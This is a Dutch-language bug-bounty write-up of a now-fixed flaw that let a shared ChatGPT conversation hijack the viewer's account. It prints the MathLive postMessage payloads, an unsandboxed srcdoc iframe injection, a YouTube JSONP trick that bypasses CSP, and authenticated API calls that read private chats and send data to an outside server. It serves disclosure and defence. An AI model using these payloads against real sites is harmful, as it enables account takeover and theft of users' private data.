Do the Math: Hoe we ChatGPT-accounts overnamen
Auteur: Mukul Goyal Datum: 28 oktober 2026 Status: Opgelost op 26 oktober 2026 Ernst: P1
In oktober 2026 ontdekten we een manier om een gewone publieke ChatGPT-share om te zetten in door de aanvaller gecontroleerde JavaScript die werd uitgevoerd binnen de ingelogde sessie van degene die de link opende.
Een aanvaller kon een kwaadaardig gesprek maken, dit publiceren via de normale deelfunctie van ChatGPT en de link naar een andere gebruiker sturen. Wanneer het slachtoffer de gedeelde link opende, werd de payload uitgevoerd als chatgpt.com met toegang tot de geauthenticeerde websessie van het slachtoffer.
We hebben bevestigd dat deze code de gesprekslijst van het slachtoffer kon opsommen, inhoud kon ophalen uit een privégesprek dat nooit met de aanvaller was gedeeld, en gegevens uit dat gesprek naar een externe server kon sturen. De payload was niet beperkt tot het wijzigen van de pagina of het tonen van een alert; hij kon direct de geauthenticeerde API's van ChatGPT aanroepen als het slachtoffer, wat ons in feite in staat stelde om het ChatGPT-account van het slachtoffer over te nemen.
Het slachtoffer hoefde geen app te installeren, geen project te joinen, geen code te plakken of ontwikkelaarsinstrumenten te openen. Het openen van de gedeelde link was de enige vereiste actie.
OpenAI heeft het probleem op 26 oktober opgelost en het rapport geclassificeerd als P1.
De aanvalsketen begon met twee functies die op zichzelf onschadelijk leken: een grafiek en een HTML-voorbeeld (Preview).
Het proces in vogelvlucht:
- De aanvaller publiceert een ChatGPT-gesprek.
- Het slachtoffer opent de publieke share.
- De HTML-Preview dringt door tot de hoofdpagina van
chatgpt.com. - JavaScript wordt uitgevoerd in de ingelogde sessie van het slachtoffer.
- Elke actie op
chatgpt.comkan nu als het slachtoffer worden uitgevoerd: privéchats en bestanden lezen, het account wijzigen, etc.
Technische analyse
Het begon met een grafiek en een Preview
De vraag die dit onderzoek startte was simpel: als Preview-code werd afgeschermd op een andere website, waar kon het dan nog mee communiceren?
ChatGPT kan een HTML-codeblok omzetten in een kleine werkende webpagina via de Preview-functie. Omdat die pagina willekeurige code kan bevatten, draait ChatGPT deze terecht in een beperkt frame op een ander webadres. De Preview kan JavaScript uitvoeren, maar de browser behandelt dit als een andere website, waardoor het niet direct de ingelogde ChatGPT-pagina eromheen kan inspecteren.
In eerste instantie leek deze isolatie precies te werken zoals bedoeld. Code binnen de Preview kon parent.document (de hoofdpagina van ChatGPT) niet lezen. Dat had het einde van het verhaal moeten zijn.
Het gesprek bevatte echter ook een normale interactieve grafiek. Achter de schermen lade de grafiek een wiskunde-bibliotheek genaamd MathLive. Het laden hiervan deed meer dan alleen de grafiek tekenen: het installeerde ook een listener op de hoofdpagina van ChatGPT voor berichten die gerelateerd waren aan het on-screen toetsenbord van MathLive.
Browsers gebruiken hiervoor de postMessage API. Dit is een legitieme manier voor twee frames om informatie uit te wisselen, zelfs als de browser verhindert dat ze elkaars pagina's lezen. Je kunt het zien als een brievenbus: de beperkte Preview kan niet de hoofdpagina binnenstappen, maar kan nog wel een bericht door de gleuf gooien.
Dit is alleen veilig als de ontvanger controleert wie het bericht heeft gestuurd.
MathLive voerde die controle niet uit voor de instelling waarin we geïnteresseerd waren. De listener accepteerde een bericht dat de lay-out van het virtuele toetsenbord wijzigde, en die lay-out mocht HTML bevatten. De grafiek had de ontvanger geïnstalleerd; de Preview gaf ons een onvertrouwde verzender. Twee ongerelateerde functies hadden per ongeluk een pad door de sandbox gecreëerd.
Het bericht dat niet had mogen werken
De Preview stuurde twee berichten. Het eerste verving een virtuele toetsenbordlay-out door onze HTML. Het tweede vertelde MathLive om het toetsenbord te tonen, waardoor de nieuwe lay-out werd gerenderd:
top.postMessage({
type: "mathlive#virtual-keyboard-message",
action: "update-setting",
layouts: [{
label: "Compatibility",
layers: [{ id: "compatibility", markup }]
}]
}, "*");
top.postMessage({
type: "mathlive#virtual-keyboard-message",
action: "show",
animate: false
}, "*");
MathLive herkende het publieke berichttype, maar de top-level controller gebruikte een origin-policy van none, wat betekende dat berichten van elk webadres werden geaccepteerd. Ook was er geen vereiste dat het update-setting bericht afkomstig moest zijn van een eerder goedgekeurd venster. Iedereen die de listener kon bereiken en het berichtformaat kende, kon de lay-out vervangen.
Wanneer het toetsenbord opende, voegde MathLive de opgegeven lay-out samen tot een HTML-string en wees deze toe aan innerHTML op de echte ChatGPT-pagina. Een helper genaamd createHTML leek aanvankelijk de waarde te sanitizen, maar dat deed hij niet; hij markeerde de string als vertrouwd en liet onze HTML ongewijzigd door.
Dit was veelbelovend, maar we hadden nog geen JavaScript-uitvoering. Script-tags die via innerHTML worden ingevoegd, worden niet automatisch uitgevoerd.
De volgende stap was een iframe met srcdoc, een browserfunctie waarmee een ingebed frame zijn HTML direct in een attribuut kan dragen:
<iframe srcdoc="..."></iframe>
MathLive voegde dit frame toe aan het hoofddocument van ChatGPT zonder een sandbox-attribuut. Dat gaf ons twee nuttige eigenschappen:
srcdoccreëerde een vers document waar een extern script kon worden uitgevoerd.- Omdat de hoofdpagina van ChatGPT het frame had aangemaakt, gaf de browser het de webidentiteit
https://chatgpt.com. Code binnen het nieuwe frame kon dus toegang krijgen tot de parent-pagina.
CSP omzeilen met YouTube JSONP
Het Content Security Policy (CSP) van ChatGPT stopte ons opnieuw. CSP controleert welke scripts een pagina mag laden, en het beleid blokkeerde terecht inline JavaScript. Het stond echter wel scripts van YouTube toe.
Het oEmbed-eindpunt van YouTube ondersteunde een callback-parameter in JSONP-stijl. JSONP-responses zijn JavaScript in plaats van gewoon JSON. Het eindpunt probeerde een ongeldige callback af te wijzen, maar plaatste de callback in de response voordat de validatiefout werd teruggestuurd:
https://www.youtube.com/oembed?callback=globalThis.__marker=31337;void
De respons begon als volgt:
// API callback
globalThis.__marker=31337;void({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: ..."
}
});
Door onze callback te beëindigen met ;void, werd het object dat door YouTube werd toegevoegd ongevaarlijk. Aangezien YouTube al was toegestaan door het CSP van ChatGPT, lade de browser deze respons als een script en voerde onze callback uit binnen het nieuwe frame.
We hadden nu willekeurige JavaScript-uitvoering als chatgpt.com. De oorspronkelijke Preview was nog steeds geïsoleerd op zijn eigen webadres; we waren de grens overgestoken door een vertrouwd component op de hoofdpagina te overtuigen een nieuw, niet-gesandboxed document voor ons te maken.
Van een lab-bug naar één publieke link
Tot nu toe was dit een nuttige sandbox-escape, maar de eerste werkende versie was geen overtuigende real-world aanval. Het maakte gebruik van een door de onderzoeker gecontroleerde ChatGPT-app als verzender. Een slachtoffer had eerst verbinding moeten maken met of die app moeten aanroepen.
We probeerden vervolgens de payload te leveren via een native HTML-bijlage. ChatGPT opende de bijlage in dezelfde gesandboxed Preview, waardoor deze de kwaadaardige MathLive-berichten kon sturen.
Echter, wanneer we het gesprek exporteerden als een publieke share, bleef de bijlage behouden, maar de eerdere grafiek niet. De grafiek was essentieel omdat deze MathLive lade en de kwetsbare message-listener in de hoofdpagina installeerde. Zonder die grafiek kon de bijlage nog steeds berichten sturen, maar luisterde er niets naar deze berichten.
De doorbraak was om beide onderdelen direct in één gewoon publiek gesprek te plaatsen:
- Een echte grafiek initialiseerde MathLive in de hoofdpagina.
- Een later door de assistent geschreven HTML-Preview stuurde de twee berichten.
De resulterende /share/<id> link behield de volledige keten voor een andere gebruiker. De aanvaller kon deze link versturen via e-mail, chat, een supportticket of een social media-post. Het slachtoffer hoefde niets te installeren, geen workspace van de aanvaller te joinen of zich te authenticeren via een door de aanvaller gecontroleerde flow. Ze hoefden alleen de gedeelde ChatGPT-URL te bezoeken.
We observeerden twee versies van de interactie. In de meest stabiele reproductie opende het slachtoffer de share en klikte één keer op de normale Preview-knop van ChatGPT. Later markeerden we het HTML-blok als "previewable", zodat ChatGPT het automatisch opende. In die versie was het openen van de link de enige actie van het slachtoffer. We reproduceerden dit automatische pad drie keer op een apart account, inclusief na een harde refresh, waarbij de alert na ongeveer 4,5 seconden verscheen.
De grafiek en Preview lade onafhankelijk van elkaar, waardoor de payload soms het bericht stuurde voordat MathLive klaar was. De uiteindelijke carrier loste deze race-conditie op door dezelfde twee berichten gedurende een beperkte periode te herhalen. Een bewaker in de hoofdpagina zorgde ervoor dat het bewijs van het privégesprek en het externe verzoek slechts één keer werden uitgevoerd.
De publieke share paste de echte ChatGPT-pagina aan
Op dit punt kon de publieke share een alert tonen die door de browser werd geïdentificeerd als afkomstig van chatgpt.com en kon er een banner aan de hoofdpagina worden toegevoegd. Dat bewees waar onze code draaide. Het liet echter nog niet zien waarom de bug echt problematisch was.
Een alert was niet genoeg
Het tonen van een alert was het minst interessante dat het exploit kon doen. De JavaScript draaide als chatgpt.com, wat betekende dat het met ChatGPT kon communiceren met dezelfde geauthenticeerde context als de normale webapplicatie.
De payload las de sessie-informatie die al beschikbaar was op de pagina en gebruikte deze om de gespreks-API's van ChatGPT aan te roepen. Eerst somde het de recente gesprekken van het slachtoffer op. Daarna kon het berichtgegevens opvragen voor een geselecteerd privégesprek:
GET /backend-api/conversations?...&limit=20&order=updated&offset=0GET /backend-api/conversations/<conversation-id>?num_turns=2
Dit was directe geauthenticeerde API-toegang, geen scraping van tekst die toevallig zichtbaar was op het scherm. Het doelgesprek was niet gerelateerd aan de kwaadaardige share en was nooit met de aanvaller gedeeld.
Zodra de respons beschikbaar was voor de geïnjecteerde JavaScript, was het versturen van gegevens naar een externe site eenvoudig. De payload creëerde een gewoon verzoek voor een afbeelding naar een server die wij controleerden.
We hebben bewust slechts een klein deel van de respons extern verzonden. De geïnjecteerde code had de geauthenticeerde respons al ontvangen en kon de inhoud lezen, dus de kwetsbaarheid was niet beperkt tot die specifieke waarde.
Het resultaat was een praktische primitieve voor het stelen van gegevens tussen gebruikers. Een kwaadaardig publiek gesprek kon worden uitgevoerd binnen de ingelogde ChatGPT-sessie van een andere gebruiker, privégesprekken opsommen, privéberichtinhoud ophalen en geselecteerde gegevens naar een door de aanvaller gecontroleerde server sturen.
Omdat de code draaide met de geauthenticeerde toegang van de webapplicatie, was het bereik niet inherent beperkt tot de gespreks-endpoints die we in ons bewijs gebruikten. Andere gegevens en acties die via de geauthenticeerde frontend-API's van ChatGPT beschikbaar waren, bevonden zich binnen dezelfde beveiligingsgrens. In essentie konden we elke actie uitvoeren namens het ChatGPT-account van het slachtoffer.
Wat er misging en wat OpenAI heeft opgelost
De Preview-sandbox zelf werkte. Code binnen Preview kon de ChatGPT-pagina niet direct lezen. Het probleem was dat een ander component in de hoofdpagina bereid was om instructies ervan te accepteren.
Drie ontwerpbeslissingen maakten van deze fout een volledige exploit:
- MathLive accepteerde een statuswijzigend bericht zonder te bewijzen welk frame het had gestuurd.
- Het berichtformaat stond toe dat ruwe HTML werd meegeleverd als toetsenbord-layoutdata.
- Die HTML kon een niet-gesandboxed document creëren dat de
chatgpt.com-identiteit erfde.
De YouTube-respons was de uiteindelijke workaround voor CSP, niet de bronoorzaak. Het blokkeren van alleen dat eindpunt zou één pad naar JavaScript hebben verwijderd, terwijl een onvertrouwde Preview nog steeds in staat zou zijn om HTML in ChatGPT te plaatsen.
OpenAI heeft zowel de JavaScript-uitvoering als het bewijs van de privégesprekken gereproduceerd. De oplossing werd uitgerold over twee versies van de web-frontend van ChatGPT. Tijdens de uitrol blokkeerden CSP-wijzigingen een deel van de oorspronkelijke keten terwijl één versie nog een update nodig had. Op 26 oktober bevestigde OpenAI dat beide versies nu de cross-frame MathLive-berichten weigerden en markeerde zij het probleem als opgelost.
De defensieve lessen zijn vrij simpel:
- Een berichtenontvanger moet zowel het webadres van de verzender (
event.origin) als het exacte venster dat toestemming heeft gekregen (event.source) verifiëren. - Instellingen tussen vensters zouden geen ruwe HTML mogen bevatten.
- Dynamisch gecreëerde documenten moeten gesandboxed blijven wanneer hun inhoud kan worden beïnvloed door een onvertrouwd frame.
- CSP moet een back-upcontrole zijn, niet de enige barrière nadat door de aanvaller gecontroleerde HTML de hoofdsite heeft bereikt.
Deze bug was interessant omdat elke individuele functie redelijk leek. Preview was geïsoleerd. Grafieken konden een wiskundig toetsenbord laden. Frames konden berichten uitwisselen. CSP stond een grote mediaprovider toe. Publieke gesprekken konden worden gedeeld. De kwetsbaarheid ontstond pas toen al deze functies in één pagina werden gecombineerd.
Tijdlijn
| Datum | Gebeurtenis |
|---|---|
| 13 oktober 2026 | Bevestiging van het MathLive message-to-HTML pad tegen de productiecode van ChatGPT. |
| 14 oktober | Reproductie van de keten via de normale UI en upgrade van de vaste alert naar willekeurige JavaScript. |
| 16 oktober | Bevestiging van publieke-share levering tussen aparte accounts en workspaces met één Preview-klik. |
| 17 oktober | Bevestiging van automatische Preview via share-navigatie en reproductie na een harde refresh. |
| 18 oktober | Rapport ingediend bij het bug bounty-programma van OpenAI. |
| 19 oktober | Toevoegen van het gecontroleerde bewijs van onthulling van privéchats. |
| 21 oktober | OpenAI reproduceerde het probleem; de ernst werd verhoogd van de initiële P2-triage naar P1. |
| 22 oktober | OpenAI meldde dat één web-frontend was gefixt terwijl de tweede nog werd bijgewerkt. |
| 23 oktober | CSP-wijzigingen blokkeerden een deel van de keten terwijl één frontend-update overbleef. |
| 26 oktober | OpenAI bevestigde dat beide frontends de gerapporteerde berichten weigerden, loste het probleem op en kende een totale bounty toe van $5.000. |
Technische opmerkingen
Het bovenstaande verhaal bevat de volledige exploit-keten. De details hieronder zijn bedoeld voor lezers die de productiecode en payload-transformaties nauwer willen volgen.
De relevante gedeminificeerde control flow was equivalent aan:
window.addEventListener("message", (event) => {
if (event.data?.type !== "mathlive#virtual-keyboard-message") return;
if (!validateOrigin(event.origin, this.originValidator)) return;
this.handleMessage(event.data, event.source);
});
if (message.action === "update-setting" && message.layouts) {
this.layouts = message.layouts;
}
Layout-normalisatie behield layouts[].layers[].markup. Het tonen van het toetsenbord voerde uiteindelijk het volgende uit:
keyboardContainer.innerHTML = MathfieldElement.createHTML(keyboardHTML);
createHTML fungeerde als een identity- of Trusted Types-wrapper, niet als een sanitizer. Trusted Types kunnen beperken wie waarden toewijst aan een HTML-sink, maar een identity-policy maakt een door een aanvaller gecontroleerde string niet veilig.
De parser en CSP-transitie. De innerHTML-operatie kon een iframe creëren, maar een script dat direct op die manier werd ingevoegd, zou inert blijven. De niet-gesandboxed srcdoc zorgde voor een nieuwe HTML-document-parse en erfde de embedding ChatGPT-origin. Dat document erfde ook het effectieve CSP, dat inline-code blokkeerde maar www.youtube.com toestond in script-src-elem.
De oEmbed-respons retourneerde HTTP 200 met Content-Type: text/javascript; charset=UTF-8 en X-Content-Type-Options: nosniff. Er werd geen Cross-Origin-Resource-Policy header waargenomen. Google herschreef hoekhaken in de callback, dus de payload gebruikte klassieke functiesyntaxis in plaats van arrow-functies. Het beëindigen van het programma met ;void consumeerde het error-object dat door het eindpunt werd toegevoegd.
Voor het bewijs van het privégesprek werd de functie omgezet naar broncode met toString(), dubbele aanhalingstekens werden omgezet in enkele aanhalingstekens en witruimtes werden samengevoegd. URLSearchParams codeerde dit vervolgens in de callback, de script-URL werd HTML-escaped binnen <script src>, en dat gehele element werd opnieuw escaped in het srcdoc-attribuut van het iframe. De uiteindelijke callback was 5.533 tekens; de YouTube-URL was 7.309 tekens; het script-element was 7.337 tekens; en de uiteindelijke iframe-markup was 7.390 tekens.
De geauthenticeerde leesactie. Het same-origin frame parseerde #client-bootstrap uit het parent-document, extraheerde het sessie-accesstoken en het account-ID, en controleerde of het account-ID in het token overeenkwam met de sessie. Het gebruikte deze in-memory headers:
Authorization: Bearer <victim token>ChatGPT-Account-ID: <victim account>Accept: application/json
De primaire verzoeken waren:
GET /backend-api/conversations?excludeconversationorigin=tpp&expand=false&isarchived=false&isstarred=false&limit=20&order=updated&offset=0GET /backend-api/conversations/<id>?numturns=2&includehas_versions=true
Alleen een 403, 404 of 405 op het detailverzoek zorgde ervoor dat de code de legacy /backend-api/conversation/<id>?includefullconversation=true route probeerde. De validatie verzond slechts een kleine geselecteerde waarde uit de respons. Vóór het externe image-verzoek werden alle referenties naar het token, account, bootstrap, sessie en request-headers gewist.
Belangrijkste lessen
- Isolatie is slechts zo sterk als de zwakste brug die eroverheen loopt. Een gesandboxed frame kan zijn parent nog steeds compromitteren wanneer een bevoorrechte listener berichten van de verkeerde verzender vertrouwt.
postMessage-ontvangers moeten zowelevent.originalsevent.sourceauthenticeren voordat ze statuswijzigende instructies accepteren.- HTML-injectie kan JavaScript-uitvoering worden via een nieuw, niet-gesandboxed document en een toegestaan third-party script-eindpunt. CSP is een waardevolle "defense in depth", maar kan een onveilig renderpad niet veilig maken.
- De impact van same-origin JavaScript moet worden gemeten in de geauthenticeerde context van het slachtoffer. Zodra code als
chatgpt.comdraait, kan deze dezelfde privégegevens en accountacties bereiken als de normale frontend—het beperkt zich niet tot het tonen van een alert. - Cross-feature testen is essentieel. Deze keten bestond in de naden tussen publieke sharing, Preview, MathLive, frame-creatie en CSP, in plaats van in één enkele functie.
De bredere les is dat beveiligingsgrenzen over het volledige product moeten standhouden, niet alleen binnen individuele componenten. Elk publiek of deelbaar oppervlak moet worden behandeld als input die door een aanvaller wordt gecontroleerd, elk cross-frame bericht moet worden geauthenticeerd, en onvertrouwde markup moet gedurende het gehele renderpad gesandboxed blijven.
Groetjes,